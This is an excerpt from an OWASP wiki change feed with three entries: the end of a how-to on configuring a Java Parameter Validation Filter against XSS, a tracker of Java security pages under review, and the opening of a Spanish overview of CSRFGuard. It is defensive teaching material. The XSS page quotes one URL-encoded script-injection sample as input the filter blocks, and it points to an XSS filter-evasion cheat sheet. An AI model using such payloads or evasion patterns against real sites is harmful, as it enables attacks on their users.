 &amp;lt;/dependency&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The filter then needs to be added to the web.xml file with the following settings. You may want to configure the url-pattern to match the pages that you actually want to protect.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;filter&amp;gt;&lt;br /&gt;
   &amp;lt;filter-name&amp;gt;ParameterValidationFilter&amp;lt;/filter-name&amp;gt;&lt;br /&gt;
   &amp;lt;filter-class&amp;gt;com.matthewcasperson.validation.filter.ParameterValidationFilter&amp;lt;/filter-class&amp;gt;&lt;br /&gt;
   &amp;lt;init-param&amp;gt;&lt;br /&gt;
     &amp;lt;param-name&amp;gt;configFile&amp;lt;/param-name&amp;gt;&lt;br /&gt;
     &amp;lt;param-value&amp;gt;/WEB-INF/xml/pvf.xml&amp;lt;/param-value&amp;gt;&lt;br /&gt;
   &amp;lt;/init-param&amp;gt; &lt;br /&gt;
 &amp;lt;/filter&amp;gt;&lt;br /&gt;
 &amp;lt;filter-mapping&amp;gt;&lt;br /&gt;
   &amp;lt;filter-name&amp;gt;ParameterValidationFilter&amp;lt;/filter-name&amp;gt;&lt;br /&gt;
   &amp;lt;url-pattern&amp;gt;*.jsp&amp;lt;/url-pattern&amp;gt;&lt;br /&gt;
 &amp;lt;/filter-mapping&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Finally you need to create a file called WEB-INF/xml/pvf.xml. This file defines the custom validation rules applied to the parameters being sent to your web applications.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot; standalone=&amp;quot;yes&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!-- ParameterValidationChainDatabase is always the document element --&amp;gt;&lt;br /&gt;
 &amp;lt;ParameterValidationChainDatabase&amp;gt;&lt;br /&gt;
    &amp;lt;!-- &lt;br /&gt;
      Enforcing mode needs to be set to true to return a HTTP error code if validation fails.&lt;br /&gt;
      If set to false, validation errors are logged but ignored. &lt;br /&gt;
    --&amp;gt;&lt;br /&gt;
    &amp;lt;EnforcingMode&amp;gt;true&amp;lt;/EnforcingMode&amp;gt;&lt;br /&gt;
    &amp;lt;!-- We always have a single ParameterValidationChains element under the parent --&amp;gt;&lt;br /&gt;
    &amp;lt;ParameterValidationChains&amp;gt;&lt;br /&gt;
        &amp;lt;!-- Each chain of validation rules is contained in a ParameterValidationDefinition element --&amp;gt;&lt;br /&gt;
        &amp;lt;!-- &lt;br /&gt;
            This chain apply some global validation rules. If anyone supplies encoded or params with HTML&lt;br /&gt;
            characters, it will fail.&lt;br /&gt;
         --&amp;gt;&lt;br /&gt;
        &amp;lt;ParameterValidationDefinition&amp;gt;&lt;br /&gt;
            &amp;lt;!-- This is the list of validation classes that should be applied to matching parameters --&amp;gt;&lt;br /&gt;
            &amp;lt;ParameterValidationRuleList&amp;gt;&lt;br /&gt;
                &amp;lt;ParameterValidationRule&amp;gt;&lt;br /&gt;
                    &amp;lt;!-- This is the fully qualified name of the class used to apply the validation rule --&amp;gt;&lt;br /&gt;
                    &amp;lt;!-- All input fields are to be trimmed of excess whitespace --&amp;gt;&lt;br /&gt;
                    &amp;lt;validationRuleName&amp;gt;com.matthewcasperson.validation.ruleimpl.TrimTextValidationRule&amp;lt;/validationRuleName&amp;gt;&lt;br /&gt;
                &amp;lt;/ParameterValidationRule&amp;gt;&lt;br /&gt;
                &amp;lt;ParameterValidationRule&amp;gt;&lt;br /&gt;
                    &amp;lt;!-- No parameters are expected to already be encoded --&amp;gt;&lt;br /&gt;
                    &amp;lt;validationRuleName&amp;gt;com.matthewcasperson.validation.ruleimpl.FailIfNotCanonicalizedValidationRule&amp;lt;/validationRuleName&amp;gt;&lt;br /&gt;
                &amp;lt;/ParameterValidationRule&amp;gt;&lt;br /&gt;
                &amp;lt;ParameterValidationRule&amp;gt;&lt;br /&gt;
                    &amp;lt;!-- No parameters are expected to contain html --&amp;gt;&lt;br /&gt;
                    &amp;lt;validationRuleName&amp;gt;com.matthewcasperson.validation.ruleimpl.FailIfContainsHTMLValidationRule&amp;lt;/validationRuleName&amp;gt;&lt;br /&gt;
                &amp;lt;/ParameterValidationRule&amp;gt;&lt;br /&gt;
            &amp;lt;/ParameterValidationRuleList&amp;gt;&lt;br /&gt;
            &amp;lt;!-- This is a regex that defines which parameteres will be validated by the classes above --&amp;gt;&lt;br /&gt;
            &amp;lt;paramNamePatternString&amp;gt;.*&amp;lt;/paramNamePatternString&amp;gt;&lt;br /&gt;
            &amp;lt;!-- This is a regex that defines which URLs will be validated by the classes above --&amp;gt;&lt;br /&gt;
            &amp;lt;requestURIPatternString&amp;gt;.*&amp;lt;/requestURIPatternString&amp;gt;&lt;br /&gt;
            &amp;lt;!--&lt;br /&gt;
                 Setting this to false means the paramNamePatternString has to match the param name.&lt;br /&gt;
                 Setting it to true would mean that paramNamePatternString would have to *not* match the param name.&lt;br /&gt;
             --&amp;gt;          &lt;br /&gt;
            &amp;lt;paramNamePatternNegated&amp;gt;false&amp;lt;/paramNamePatternNegated&amp;gt;&lt;br /&gt;
            &amp;lt;!--&lt;br /&gt;
                 Setting this to false means the requestURIPatternString has to match the uri.&lt;br /&gt;
                 Setting it to true would mean that requestURIPatternString would have to *not* match the uri name.&lt;br /&gt;
             --&amp;gt;&lt;br /&gt;
            &amp;lt;requestURIPatternNegated&amp;gt;false&amp;lt;/requestURIPatternNegated&amp;gt;&lt;br /&gt;
        &amp;lt;/ParameterValidationDefinition&amp;gt;        &lt;br /&gt;
    &amp;lt;/ParameterValidationChains&amp;gt;&lt;br /&gt;
 &amp;lt;/ParameterValidationChainDatabase&amp;gt;&lt;br /&gt;
&lt;br /&gt;
There are a few interesting elements in this XML configuration:&lt;br /&gt;
&lt;br /&gt;
* paramNamePatternString, which has been configured to enable the validation chain to match all parameters&lt;br /&gt;
&lt;br /&gt;
* requestURIPatternString, which has been configured to enable the chain to match all URIs&lt;br /&gt;
&lt;br /&gt;
* The three elements called validationRuleName, which reference the full class name of the validation rules that will be applied to each parameter passed into our web application&lt;br /&gt;
&lt;br /&gt;
Although this is a simple example, the three validation rules that have been implemented (TrimTextValidationRule, FailIfNotCanonicalizedValidationRule and FailIfContainsHTMLValidationRule) are quite effective at preventing a malicious user from submitting parameters that contain XSS code.&lt;br /&gt;
&lt;br /&gt;
The first rule, TrimTextValidationRule, simply strips away any whitespace on either side of the parameter. This uses the trim() function any developer should be familiar with.&lt;br /&gt;
&lt;br /&gt;
The second rule, FailIfNotCanonicalizedValidationRule, will prevent further processing if the supplied parameter has already been encoded. No legitimate user will have a need to supply text like %3Cscript%3EdoEvil()%3B%3C%2Fscript%3E, so any time encoded text is found we simply return with a HTTP 400 error code. This rule makes use of the ESAPI library supplied by OWASP.&lt;br /&gt;
&lt;br /&gt;
Like the second rule, the third rule will prevent further processing if the supplied parameter has any special HTML characters. If you would like your customers to be able to pass through characters like &amp;amp;, this rule is too broad. However, it is almost always valid to block special HTML characters.&lt;br /&gt;
&lt;br /&gt;
If you want to see how effective this simple validation chain is, check out the live demo at http://pvftest-matthewcasperson.rhcloud.com/. You may want to take a look at https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet to find some XSS patterns that are often used to bypass XSS filters.&lt;br /&gt;
&lt;br /&gt;
Moving forward we will be looking to implement more targeted validation rules, especially those that can’t be easily implemented as regex matches (like making sure a date if after today, or that a number is between two values etc).&lt;br /&gt;
&lt;br /&gt;
If you have any suggestions, or find any bugs, feel free to fork the code from our GitHub repo at https://github.com/mcasperson/ParameterValidationFilter . We do hope to get some public feedback in order to make this library as robust as it can be.&lt;br /&gt;
&lt;br /&gt;
[[Category: How To]]&lt;br /&gt;
[[Category:Java]]&lt;br /&gt;
[[Category: OWASP Validation Project]]&lt;/div&gt;</summary>
		<author><name>Imifos</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Java_Project_WIPRO_1_2015&amp;diff=208869</id>
		<title>OWASP Java Project WIPRO 1 2015</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Java_Project_WIPRO_1_2015&amp;diff=208869"/>
				<updated>2016-02-14T11:20:59Z</updated>
		
		<summary type="html">&lt;p&gt;Imifos: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;width:100%;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:OWASP_Java_Project_Header.png|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;font-size: 1.8em;&amp;quot;&amp;gt;Wiki Pages Review Operation - 2015/2016&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Main =&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;width:100%&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
91 Pages in category &amp;quot;OWASP Java Pages&amp;quot; have to be reviewed. We use a Google Document where every person interested can let opinions, comments and suggestions. Even reviewing one single page is welcome. &lt;br /&gt;
&lt;br /&gt;
Shared Google document used to comment and review:&lt;br /&gt;
&lt;br /&gt;
https://docs.google.com/spreadsheets/d/13bazikNd5fc9f7ppqMEAxbo0sI3CpOdPgDW5xt3LeMc/edit?usp=sharing&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;min-width:200px;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== Team ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Meta ==&lt;br /&gt;
&lt;br /&gt;
* Start: 12/2015&lt;br /&gt;
* Last Update: 12/2015&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Other Resources ==&lt;br /&gt;
&lt;br /&gt;
N/A&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;min-width:200px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--&lt;br /&gt;
   {| width=&amp;quot;200&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot; rowspan=&amp;quot;2&amp;quot;| [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-builders-small.png|link=]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-defenders-small.png|link=]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Cc-button-y-sa-small.png|link=http://creativecommons.org/licenses/by-sa/3.0/]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Project_Type_Files_DOC.jpg|link=]]&lt;br /&gt;
   |}&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Pages List =&lt;br /&gt;
&lt;br /&gt;
Shared Google document used to write reviews:&lt;br /&gt;
&lt;br /&gt;
https://docs.google.com/spreadsheets/d/13bazikNd5fc9f7ppqMEAxbo0sI3CpOdPgDW5xt3LeMc/edit?usp=sharing&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Page&lt;br /&gt;
! Status&lt;br /&gt;
! Review&lt;br /&gt;
! Operations&lt;br /&gt;
|- &lt;br /&gt;
|[[Bytecode obfuscation]]&lt;br /&gt;
|&lt;br /&gt;
| Outdated, needs review. https://www.owasp.org/index.php/Talk:Bytecode_obfuscation&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Captchas in Java ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Clickjacking Protection for Java EE]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Command injection in Java]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Comparing classes by name ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Complejidad Y Longitud De Las Contraseñas ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Content Security Policy ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[CORS OriginHeaderScrutiny]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[CORS RequestPreflighScrutiny]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Cross-site Scripting (XSS) ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Declarative Access Control in Java]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Decompiling Java bytecode]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Deserialization of untrusted data]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Detect profiling phase into web application]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Digital Signature Implementation in Java]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Exception handling techniques ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Failure to follow guideline/specification ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Hacking Java Clients ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Hashing Java]]&lt;br /&gt;
| UNDER REVIEW&lt;br /&gt;
| The current version is unmaintained. Mark Gordon volountered to review the information, and bring it to the State-Of-The-Art-2015. Thank you!&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Hibernate]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Hibernate-Guidelines ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[How to add validation logic to HttpServletRequest]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[How to encrypt a properties file ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Implementacion De Firmas Digitales en Java]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Improper Data Validation]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Improper temp file opening ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Information Leakage]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Insecure Randomness]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Insecure Transport]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Insufficient Session-ID Length]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Invoking untrusted mobile code]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Inyección De Comandos En Java ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[J2EE Misconfiguration: Unsafe Bean Declaration]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[J2EE third party libraries insecurity]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[JAAS Timed Login Module ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[JAAS Tomcat Login Module]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Java Project Article Wishlist ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Java Security Frameworks]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Java Security Resources ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Java Server Faces ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[JSP errorPage]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[JSP JSTL ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Leftover Debug Code]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Log Forging ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Logout]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Member Field Race Condition]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Missing Error Handling]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Mobile Java Security ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Null Dereference]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Object Model Violation: Just One of equals() and hashCode() Defined]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Often Misused: Authentication ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Overly-Broad Catch Block]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Overly-Broad Throws Declaration]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[OWASP CSRFGuard Project/es ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[OWASP Java Table of Contents]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Parameter Validation Filter]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Password length &amp;amp; complexity]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Password Management: Hardcoded Password]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Password Management: Weak Cryptography ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Password Plaintext Storage ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[PDF Attack Filter for Java EE ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Poor Logging Practice]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Preventing LDAP Injection in Java]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Preventing SQL Injection in Java ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Process Control]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Protecting code archives with digital signatures]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Reflection attack in an auth protocol]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Return Inside Finally Block]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Securing tomcat]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Servlet spec - web.xml]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Session Fixation]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Session Timeout]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Signing jar files with jarsigner ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[State synchronization error]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Struts]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Struts Validation in an ActionForm]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Struts Validation in validator.xml using an ActionForm]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Struts XSLT Viewer]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Traducción Español]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Trust Boundary Violation]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Trustworthy Java]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Uncaught exception]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Unchecked Return Value: Missing Check against Null ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Unreleased Resource]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Unsafe JNI]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Unsafe Mobile Code]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Unsafe Reflection ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Using JCaptcha ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Using the Java Cryptographic Extensions]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Using the Java Secure Socket Extensions]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[XPATH Injection Java ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[OWASP's_ESAPI_Wiki_for_Java!]]&lt;br /&gt;
| Check Project Status&lt;br /&gt;
|&lt;br /&gt;
| The entire ESAPI For Java project needs a review. In progress on ML.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Shared Google document used to write reviews:&lt;br /&gt;
&lt;br /&gt;
https://docs.google.com/spreadsheets/d/13bazikNd5fc9f7ppqMEAxbo0sI3CpOdPgDW5xt3LeMc/edit?usp=sharing&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=About=&lt;br /&gt;
&lt;br /&gt;
OWASP Java and JVM Project - Wiki Pages Review Operation 1 - 2015/2016&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Template:Project About&lt;br /&gt;
| project_name =OWASP Java Project WIPRO 1 - 2015/2016&lt;br /&gt;
| project_description = &lt;br /&gt;
| project_license =&lt;br /&gt;
| leader_name1 = &lt;br /&gt;
| leader_email1 = &lt;br /&gt;
| leader_username1 = &lt;br /&gt;
| contributor_name1 = &lt;br /&gt;
| contributor_email1 = &lt;br /&gt;
| contributor_username1 = &lt;br /&gt;
| mailing_list_name = &lt;br /&gt;
| links_url1 = &lt;br /&gt;
| links_name1 = &lt;br /&gt;
| links_url2 = &lt;br /&gt;
| links_name2 = &lt;br /&gt;
}}  &lt;br /&gt;
&lt;br /&gt;
__NOTOC__&lt;br /&gt;
&amp;lt;headertabs /&amp;gt; &lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Java]]&lt;/div&gt;</summary>
		<author><name>Imifos</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_CSRFGuard_Project/es&amp;diff=208868</id>
		<title>OWASP CSRFGuard Project/es</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_CSRFGuard_Project/es&amp;diff=208868"/>
				<updated>2016-02-14T11:20:24Z</updated>
		
		<summary type="html">&lt;p&gt;Imifos: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Descripción general==&lt;br /&gt;
&lt;br /&gt;
Justo cuando los desarrolladores están empezando a correr en círculos alrededor de [[Cross Site Scripting]], el [http://www.darkreading.com/document.asp?doc_id=107651&amp;amp;WT.svl=news1_2 'gigante dormido'] despierta por una catástrofe web mas. [[Cross-Site Request Forgery]] (CSRF) es un ataque donde la victima es engañada para cargar información desde o enviar información hacia una aplicación web en la que esta actualmente autenticada. El problema es que la aplicación web no tiene medios para verificar la integridad de la petición. El proyecto OWASP CSRFGuard trata de resolver este problema a través del uso de un token de petición único.&lt;br /&gt;
&lt;br /&gt;
[http://www.owasp.org/index.php/How_CSRFGuard_Works Click aquí] para mas información acerca del diseño e implementación de CSRFGuard.&lt;br /&gt;
&lt;br /&gt;
==Licencia==&lt;br /&gt;
&lt;br /&gt;
CSRFGuard es ofrecido bajo [http://www.gnu.org/copyleft/lesser.html LGPL]. Para mayor información sobre las licencias de OWASP, favor de consultar la pagina de licencias de OWASP: [[OWASP Licenses]] (en ingles).&lt;br /&gt;
